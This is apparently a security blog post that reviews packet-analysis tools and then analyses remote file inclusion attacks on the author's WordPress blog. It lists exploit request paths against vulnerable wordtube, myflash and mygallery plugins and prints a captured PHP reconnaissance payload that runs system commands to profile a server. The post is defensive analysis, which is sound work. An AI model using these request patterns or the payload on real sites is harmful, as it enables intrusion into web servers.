• tcpreplay is now at version 3.4.0 with a number of significant bugfixes. This staple of packet analysis allows for the replay of captured pcap file back over network interfaces.  Its a great way of having a repeatable test framework, or for explosing yout NIDS system to collected bad traffic.
• picviz 0.5 has been released. I blogged about this before and the project seems to be comming on nicely. Formy own purposes its not much use with my network telescope data, but does produce some pretty pictures for some other work Ive been doing of late. The new version comes with a bumber of new log parsers. A slide deck discussing its use as presented at USENIX 2008 is also available.
• pcapr is the new tool out and describes itself as “web 2.0 meets packets“, and “pcapr does to packets what flickr does to pictures”. If it performs as promised it could make life a lot easier maintinaing libraries of packet captures. The fact its a hosted service does have some distinct disadvantages. Currently there seems to be quote a lot of little snippets. An RSS feed of new content is also available.  Another similar repository s that of openpacket.org
• libtrace while not a new tool as such, is somethign I’ve started workign with recentlyafter comming across it in Dean Pemberton’s MSc Thesis2007 on Internet Background Radiation Arrival Density and Network Telescope Sampling Strategies. The api looks pretty clean and it comes with a couple of nice demo tools which are actually useful.  the URI syntax it uses for accessing files is a little strange but managable.

DARB: so…wordpress hey?
BVI: I got over writing my own code
BVI: now I’m waiting for my blog to be 0wn3d
DARB: you know wordpress is the equivalent of an 8ft tall ogre that stands outside looking pretty, smashes tables when he tries to sit down, and needs 20kg of food every day…and offers little or no protection on the side entrance to your establishment?
BVI: exactly!
DARB: lolz
BVI: mine has a spiked collar and a beware of the ogre sign :-)
DARB: that only scares away legitimate users…bandits read that sign as “come on in, we left the side door open”
BVI: yeah
DARB: I love wordpress docs and plugins
DARB: “just chown your /tmp file, and then chmod 777 everything”

Well not 20 minutes later I noticed a number of Remote file inclusion attacks coming in. Nothing like the ogre having sent out an invite to all and sundry. Attacks were coming looking as follows:

• /blog/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/5/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/archives/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=foo
• /blog/?flav=rss/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/wp-content/plugins/myflash/myflash-button.php?wpPATH=foo
• /blog/archives/14/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo
• /blog/archives/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=foo

In the above the actual path for the exploit codes been replaced with foo, but is of the form of http://site/somepath/tx.txt????, or similar.

Ive now seen this form over eighty different systems. The include file seems to vary ( see below) but the same plugins are being targeted. No real surprise as they have been known exploitable for a while.

• myflash < v1.1 01 May 2007 ISS-XForce
• wordtube < 1.43 01 May 2007 ISS X-Force
• mygallery ≤ v 1.2.1 29 April 2007 ISS-X-force FRsirt

All the requests were may using libwww-perl/5.810, so most likely come from compromised unix systems. the payload file being referred to has been removed, but I found some others, which are no doubt similar. The algorithm being used for the brute forcing is rather dumb. of the entries listed above, only two relate to viable targets for my given install. I found the request for “blog/?flav=rss/….” rather amusing. Another interesting observation is the number of requests centered around http://lair.moria.org/blog/archives/14 my post relating to Windows XP failing to hibernate. I have yet to see hits on any other particular posts.

Looking at the payload code form some of the other similar attacks, I found the following one interesting, as a more human driven recon script providing information for making a value judgment on the target site rather than an automated assault. (When will these people learn that StudlyCaps isn’t really that cool )

echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "NigeriaN HackerS TeaM<br>";

Others are not quite so benign, providing command shells, and in some cases drive by exploits using a number of different tools to try download further payloads onto the system or upload password files, webserver configurations and other sensitive information. c99madscript.php really seems to be the flavour of the month with these, although it has been around a while.

What all these attempts that Ive seen do have in common are the trailing “???” or “?????” irrespective of the payload contents of filename. The purpose of these to me is unclear, surely its a pain to type. Is it a bug ina script, or are people trying to do something else.

Richard mentions some other recent hacks which can be attributed to the same technique. If you can control layer 2 why play around at layer 7? This is something that I probably need to emphasize in my upcoming Infosec course next semester.